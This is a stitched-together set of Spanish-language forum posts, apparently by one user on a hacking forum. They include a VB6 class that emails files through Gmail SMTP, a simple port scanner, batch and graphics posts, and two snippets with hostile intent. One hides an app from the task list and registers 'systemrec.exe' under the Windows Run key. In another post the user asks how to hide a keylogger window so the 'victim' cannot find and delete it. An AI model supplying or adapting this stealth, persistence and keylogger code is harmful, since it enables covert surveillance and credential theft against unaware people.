Temas

Hay alguna manera de poder borrar el contenido de lo que hay en un DVD-R.

Quizas la solucion sea facil, pero no se me ocurre.

Gracias

[módulo de clase]

Bueno tampoco os daré muchas explicaciones porque con el código esta lleno de comentarios.

De todos modos ya sabeis que cualquier error me lo decis y os ayudo.


Empezamos creando un nuevo ejecutable.

1º Agregamos un módulo de clase

Código [Seleccionar] Expandir


Option Explicit

' para la conexión a internet usaremos wininet.dll
Private Declare Function InternetGetConnectedState _
   Lib "wininet.dll" ( _
   ByRef lpdwFlags As Long, _
   ByVal dwReserved As Long) As Long

Private Const INTERNET_CONNECTION_MODEM_BUSY As Long = &H8
Private Const INTERNET_RAS_INSTALLED As Long = &H10
Private Const INTERNET_CONNECTION_OFFLINE As Long = &H20
Private Const INTERNET_CONNECTION_CONFIGURED As Long = &H40

' variables locales que usamos con CDO
Private mServidor As String
Private mPara As String
Private mDe As String
Private mAsunto As String
Private mMensaje As String
Private mAdjunto As String
Private mPuerto As Variant
Private mUsuario As String
Private mContraseña
Private mUseAuntentificacion As Boolean
Private mSSL As Boolean
'las salidas que nos puede dar el envio
Public Event Error(Descripcion As String, Numero As Variant)
Public Event EnvioCompleto()

Function Enviar_Backup() As Boolean
   
   ' Variable de objeto Cdo.Message
   Dim oCDO As Object
         
   ' si hay conexion o no, este sería el primer error ya declarado anteriormente
   If InternetGetConnectedState(0&, 0&) = False Then
      RaiseEvent Error("No se puede enviar el correo. " & _
                       "Verificar la conexión a internet si está disponible", 0)
      Exit Function
   End If
   
   
   
   ' el puerto tiene que ser un numero y que no este vacio
   If Not IsNumeric(puerto) Then
      RaiseEvent Error("No se ha indicado el puerto del servidor", 0)
      Exit Function
   End If
   
   ' Crea un Nuevo objeto CDO.Message
   Set oCDO = CreateObject("CDO.Message")
   
   ' Indica el servidor Smtp para poder enviar el Mail ( puede ser el nombre _
     del servidor o su dirección IP )
   oCDO.Configuration.Fields( _
   "http://schemas.microsoft.com/cdo/configuration/smtpserver") = mServidor
   
   oCDO.Configuration.Fields( _
   "http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
   
   ' Puerto. Por defecto se usa el puerto 25, _
    en el caso de Gmail se usa el puerto 465
   
   oCDO.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = mPuerto

   
   ' Indica el tipo de autentificación con el servidor de correo _
    El valor 0 no requiere autentificarse, el valor 1 es con autentificación
   oCDO.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/" & _
               "configuration/smtpauthenticate") = Abs(mUseAuntentificacion)
   
   ' Tiempo máximo de espera en segundos para la conexión, 10 es el numero predeterminado pero puedes poner más
   oCDO.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10

   ' Configura las opciones para el login en el SMTP
   If mUseAuntentificacion Then

   ' Id de usuario del servidor Smtp ( en el caso de gmail, _
    debe ser la dirección de correro mas el @gmail.com )
   oCDO.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/sendusername") = mUsuario

   ' Password de la cuenta
   oCDO.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = mContraseña

   ' Indica si se usa SSL para el envío. En el caso de Gmail requiere que esté en True
   oCDO.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = mSSL
   
   End If
   
   ' Estructura del mail
   '''''''''''''''''''''''''''''''''''''''''''''''
   
   ' Dirección del Destinatario
   
   oCDO.To = mPara
   
   ' Dirección del remitente
   oCDO.From = mDe
   
   ' Asunto del mensaje
   oCDO.Subject = mAsunto
   
   ' Cuerpo del mensaje
   oCDO.TextBody = mMensaje
   
   'Ruta del archivo adjunto
   If mAdjunto <> "" Then
       If Len(Dir(mAdjunto)) = 0 Then
           'otro mensaje de error en este caso por no haber especfificado la ruta correcta
           RaiseEvent Error("No se ha encontrado el archivo en la siguiente ruta: ", 0)
           Exit Function
       Else
           'aqui agrega el archivo
           oCDO.AddAttachment (mAdjunto)
       End If
   End If
   
   ' Actualiza los datos antes de enviar
   oCDO.Configuration.Fields.Update
   
   On Error Resume Next
   Screen.MousePointer = vbHourglass
   ' Envía el email
   oCDO.Send
   Screen.MousePointer = 0
   ' aqui comprueba con condicionales que todo se haya realizado correctamente
   If Err.Number = 0 Then
      Enviar_Backup = True
      RaiseEvent EnvioCompleto
   
   ElseIf Err.Number = -2147220973 Then
      RaiseEvent Error("Posible error : nombre del Servidor " & _
                       "incorrecto o número de puerto incorrecto", Err.Number)
   ElseIf Err.Number = -2147220975 Then
      RaiseEvent Error("Posible error : error en el nombre de usuario, " & _
                                               "o en el password ", Err.Number)
   Else
      RaiseEvent Error(Err.Description, Err.Number)
   End If

   ' Descarga la referencia
   If Not oCDO Is Nothing Then
       Set oCDO = Nothing
   End If
   
   Err.Clear
   
   Screen.MousePointer = vbNormal
End Function

'Valores declarados anteriormente sacados de la antigua libreria CDO
Property Get servidor() As String
   servidor = mServidor
End Property
Property Let servidor(value As String)
   mServidor = value
End Property


Property Get para() As String
   para = mPara
End Property
Property Let para(value As String)
   mPara = value
End Property


Property Get de() As String
   de = mDe
End Property
Property Let de(value As String)
   mDe = value
End Property


Property Get Asunto() As String
   Asunto = mAsunto
End Property
Property Let Asunto(value As String)
   mAsunto = value
End Property


Property Get Mensaje() As String
   Mensaje = mMensaje
End Property
Property Let Mensaje(value As String)
   mMensaje = value
End Property


Property Get Adjunto() As String
   Adjunto = mAdjunto
End Property
Property Let Adjunto(value As String)
   mAdjunto = value
End Property


Property Get puerto() As Variant
   puerto = mPuerto
End Property
Property Let puerto(value As Variant)
   mPuerto = value
End Property


Property Get Usuario() As String
   Usuario = mUsuario
End Property
Property Let Usuario(value As String)
   mUsuario = value
End Property


Property Get contraseña() As String
   contraseña = mContraseña
End Property
Property Let contraseña(value As String)
   mContraseña = value
End Property


Property Get UseAuntentificacion() As Boolean
   UseAuntentificacion = mUseAuntentificacion
End Property
Property Let UseAuntentificacion(value As Boolean)
   mUseAuntentificacion = value
End Property


Property Get ssl() As Boolean
   ssl = mSSL
End Property
Property Let ssl(value As Boolean)
   mSSL = value
End Property


Como veis estan todos los comentarios.


2ºAhora en nuestro Form1, creamos un botón de Nombre: cmdsend y de Caption: Enviar mensaje

Y este el código:

Código [Seleccionar] Expandir

'##############
'# Programado #
'# por P4|3L0 #
'##############
Option Explicit
Private WithEvents correo As CDOMail

Private Sub cmdsend_Click()
Set correo = New CDOMail
'aqui usariamos las propiedades del modulo de clase
With correo
   'servidor smtp de gmail
       .servidor = "smtp.gmail.com"
   'puerto smtp de gmail
       .puerto = 465
       .UseAuntentificacion = True
       'gmail y hotmail usan ssl asi que tenemos que activarlo
       .ssl = True
       'tu usuario
       .Usuario = "usuario@gmail.com"
       'tu contraseña
       .contraseña = "tusabras"
       'el asunto de tu mensaje
       .Asunto = "Sin Asunto"
       'adjuntar, si no quieres que se mande nada pon esto como si fuese un comentario
       .Adjunto = "C:\WINDOWS\explorer.exe"
       'desde que usuario lo envias
       .de = "usuario@gmail.com"
       'a quien se lo mandas
       .para = "usuario2@gmail.com"
       'cuerpo del mensaje
       .Mensaje = "Mensaje deseado"
       'despues de haber comprobado todo
       .Enviar_Backup ' manda el mail
       End With
Set correo = Nothing
End Sub
Private Sub correo_EnvioCompleto()
'si no pasa nada y se envia correctamente
   MsgBox "Mensaje enviado", vbInformation, Me.Caption
End Sub

Private Sub correo_Error(Descripcion As String, Numero As Variant)
   'muestra el error y que ha pasado
   MsgBox Descripcion, vbCritical, Numero
   
End Sub


Como veis solo es el código del botón y las funciones del error o el envio completado, como habeís visto cualquier modificación es muy facil, y esto se puede hacer con yahoo, terra, hotmail, ya.com, etc..

Solo es cuestión de investigar.

Saludos!


Modifico: Creo que si que he cometido el GRAN error de poner eso en el módulo que no hice yo.

Por los demás comentarios, de que no funciona en hotmail, si no lo pruebas e investigas no lo vas a saber, porque cree un programa y si que funciona.

LAMMER, por ese error, no creo, pueden llamarme todo lo demás, creo que si, llevo poco tiempo, pero no creo que se me pueda considerarme lammer.

Respecto a GedZac, pues bueno, no hice más que decir la verdad, pero ya me bannearon no se preocupen.

¿Alguna otra explicación?

[Enabled (False) y en Interval (5)]

Creo este tutorial, para crear un sencillo escaneador de puertos abiertos.

Primero de todo creamos un nuevo EXE Estandar.



Crearemos primero de todo un timer.

Ya creado lo dejamos donde sea en cualquier parte del formulario y le ponemos de Valor Enabled (False) y en Interval (5).

Usaremos para mostrar si tenemos puertos abiertos un Winsock.

Os mostraré como agregarlo.



En la barra de herramientas le damos a Proyecto y en ese menu desplegable le damos a Componentes, si no sabes como dale a [Ctrl+T].

Luego buscamos Microsoft Winsock Control y lo activamos.



Nos saldrá esto en la barra de herramientas.



Y lo ponemos también en nuestro formulario, y no le tocamos nada, porque sus opciones las editaremos después.

Ahora creamos una lista.

Creamos 2 TextBox y 4 Botones .

Nos quedaría algo así.


Ahora le cambiamos los captions a los botones, por los de: Comenzar, Parar, Limpiar, Cancelar.

Y el texto del Text1 por: 127.0.0.1 y el del Text2 por: 1

Y empezamos con el código.

Código (vb) [Seleccionar] Expandir


'-----------------------------------
Private Sub Command1_Click()
  Timer1.Enabled = True 'Activa el timer, para que empiece a analizar puertos
  Command1.Enabled = False 'Desactiva el botón Comenzar
  Command2.Enabled = True 'Activa el botón Parar, la primera vez que se inicia no hace nada
End Sub
'-----------------------------------
Private Sub Command2_Click()
  Timer1.Enabled = False 'Desactiva el timer.
  Command1.Enabled = True 'Activa el botón comenzar
  Command2.Enabled = False ' Y desactiva el botón Parar
End Sub
'-----------------------------------
Private Sub Command3_Click()
  List1.Clear 'Limpia la lista de puertos que hayan sido detectados abiertos
End Sub
'-----------------------------------
Private Sub Command4_Click()
  Timer1.Enabled = False ' Desactiva el timer
  Text2.Text = "1" 'Y retorna al principio el remoteport
  Command1.Enabled = True
  Command2.Enabled = True 'Activa los dos botones de comenzar y parar
End Sub
'-----------------------------------

Private Sub Timer1_Timer()
  On Error Resume Next
  Winsock1.Close
  Text2.Text = Int(Text2.Text) + 1 ' va agregando un puerto cada vez que el timer pasa.
  Winsock1.RemoteHost = Text1.Text 'IP
  Winsock1.RemotePort = Text2.Text 'Puerto
  Winsock1.Connect 'Intenta conectarse
End Sub
'-----------------------------------
Private Sub Winsock1_Connect()
List1.AddItem "Puerto: " & Winsock1.RemotePort & " Abierto!" 'En caso de que el winsock se conecte nos lo muestra en la lista, con el puerto correspondiente
End Sub
'-----------------------------------

Y esto sería en realidad todo lo que nos hace falta para crear un escaneador de puertos realmente sencillo.

Luego podemos mejorar su aspecto por otro como este.



Mi proyecto: http://www.megaupload.com/?d=LXEK8A0P

Bueno pues lo que necesito es que me exporte la ruta de un ejecutable a un Textbox..

Y la verdad nose muy bien porque por mi cuenta no he conseguido mucho..

Haber si podeis ayudarme.

Sería por ejemplo tengo en C:\WINDOWS un archivo.exe

pues querría que en el TextBox me salga C:\WINDOWS\archivo.exe

Gracias!

Hola, bueno pues he leido lo de las variables de entorno y Environ, pero no se como aplicarlo a este code.

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
Dim r As String
App.TaskVisible = False
CLAVE = "SystemREC"
VALOR = "C:\WINDOWS\systemrec.exe"
Set wsc = CreateObject("wscript.shell")
r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
If r <> VALOR Then
     wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
End If
End Sub

¿Alguien sabe?

Quiero cambiar Windows por la variable USERPROFILE

Bueno quería preguntaros, como se podría añadir mi programa, que digamos que se encuentra en C: (por ejemplo)

Y quiero que se añade al incio desde el registro.

He estado leyendo lo del registro pero me ha dado errores he seguido leyendo y he visto esto.

Código [Seleccionar] Expandir

CLAVE="System"
VALOR="archivo.exe"
set wsc = createobject("wscript.shell")
wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CLAVE", "VALOR"

¿Cómo funcionaría completo?

Bueno chicos os expondré mi idea tengo un keylogger, que funciona cuando se ejecuta. Pero claro para que recuerde las claves ha de estar ejecutado. Tenía en mente un script que creo haber visto, que lo que hace es ocultar esa ventana del keylogger.

Solo Necesito que la víctima no vea esa rara ventana abierta, para que no la pueda borrar   

Sobre ocultar también su proceso no hace falta..creo que schost.exe es algo facil de no ver además habiendo tantos   

¿Teneís algún script que haga invisible la ventana?

Gracias

[UserBar's]

El primero en Photoshop



Haseo .Hack//G.U.



Chelsea



Vendetta



1ª Firma



2ª Firma



Firma Sasuke



Soledad



Reto contra Hoax.Burner Tema: System of a Down



Reto contra YPTO Tema: Final Fantasy




UserBar's










Fondos para el escritorio



Diseños del Audi TT


                       



                       


Otras más para mi galería.

FDLS#8 CUH



Reto contra Ubuntero y Ubuntera.




[COLOR="Black"]Para NeodiN, rechazada[/COLOR]



Usando Flood.



Reto Contra Nub



LOGO LH



Logo LatinoHack



Reto Historia



Linux Designz



¿Qué tal?

Código [Seleccionar] Expandir

@echo off
title Extension Changer v 1.0
SETLOCAL
set "programa=%~1"
:tdk
echo Introduciste este archivo:%programa%.
set /p ext1="Seguro que quieres modificar su extension(S/N)? "
IF /i %ext1%==s (GOTO CHAEXT)
IF /i %ext1%==n (GOTO:EOF)
IF NOT DEFINED %ext1% GOTO

:CHAEXT
set extpro=%programa:~-4%
IF /i %extpro%==.bat goto BAT
IF /i %extpro%==.mp3 goto mp3
IF /i %extpro%==.txt goto txt
IF /i %extpro%==.jpg goto img
IF /i %extpro%==.bmp goto img
IF /i %extpro%==.gif goto img
IF /i %extpro%==.psd goto img
IF /i %extpro%==.ico goto img
IF /i %extpro%==.doc goto txt
IF /i %extpro%==.pdf goto txt
IF /i %extpro%==.rtf goto txt
IF /i %extpro%==.wma goto mp3
IF /i %extpro%==.wmv goto mp3
IF /i %extpro%==.wav goto mp3
IF /i %extpro%==.cda goto mp3
IF /i %extpro%==.avi goto vid
IF /i %extpro%==.mpg goto vid
IF /i %extpro%==.mp4 goto vid
IF /i %extpro%==.mov goto vid
IF /i %extpro%==.div goto vid
IF /i %extpro%==.dvd goto vid
echo Archivo no reconocido por el ExtensionChanger v 1.0
pause>nul&exit
:BAT
Mode CON Cols=40 Lines=10 &cls
echo Esto es un archivo por lotes de MS-DOS.
GOTO CHAbat
:img
Mode CON Cols=40 Lines=10 &cls
echo Esto es una imagen.
GOTO chaimg
:mp3
Mode CON Cols=40 Lines=10 &cls
echo Esto es un archivo de musica.
GOTO chamus
:vid
Mode CON Cols=40 Lines=10 &cls
echo Esto es un video
GOTO chavid
:txt
Mode CON Cols=40 Lines=10 &cls
echo Esto es un archivo de texto.
GOTO chatexto

:chabat
set ext=txt
>NUL COPY /Y "%~F1" "%~DPN1.%EXT%"
exit
:chatexto
ECHO 1-TXT&ECHO 2-DOC&ECHO 3-PDF&ECHO 4-RTF
set /p chatxt="Conque extension se abrira el archivo?"
if %chatxt%==1 (set ext=txt)
if %chatxt%==2 (set ext=doc)
if %chatxt%==3 (set ext=pdf)
if %chatxt%==4 (set ext=rtf)
>NUL COPY /Y "%~F1" "%~DPN1.%EXT%"
exit
:chaimg
ECHO 1-BMP&ECHO 2-JPG&ECHO 3-ICO&ECHO 4-GIF
set /p ima="Conque extension se abrira el archivo?"
if %ima%==1 (set ext=bmp)
if %ima%==2 (set ext=jpg)
if %ima%==3 (set ext=ico)
if %ima%==4 (set ext=gif)
>NUL COPY /Y "%~F1" "%~DPN1.%EXT%"
exit
:chamus
ECHO 1-MP3&ECHO 2-WAV&ECHO 3-WMA&ECHO 4-WMV&ECHO 5-CDA
set /p mus="Conque extension se abrira el archivo?"
if %mus%==1 (set ext=mp3)
if %mus%==2 (set ext=wav)
if %mus%==3 (set ext=wma)
if %mus%==4 (set ext=wmv)
if %mus%==5 (set ext=cda)
>NUL COPY /Y "%~F1" "%~DPN1.%EXT%"
exit
:chavid
ECHO 1-MPG&ECHO 2-MOV&ECHO 3-DIV&ECHO 4-AVI&ECHO 5-DVD&ECHO 6-MP4
set /p vid="Conque extension se abrira el archivo?"
if %vid%==1 (set ext=mpg)
if %vid%==2 (set ext=mov)
if %vid%==3 (set ext=div)
if %vid%==4 (set ext=avi)
if %vid%==5 (set ext=dvd)
if %vid%==6 (set ext=mp4)
>NUL COPY /Y "%~F1" "%~DPN1.%EXT%"
exit

Después de semanas sin hacer nada en BATCH, vuelvo para poner este código. Arrastra el archivo al cual desees modificar su extensión.

Esta es la versión 1.0

Saludos!

Existe un código con el que pueda contar las palabras de un documento, si es así me lo podrían  decir es para poder probar una cosa.

Gracias.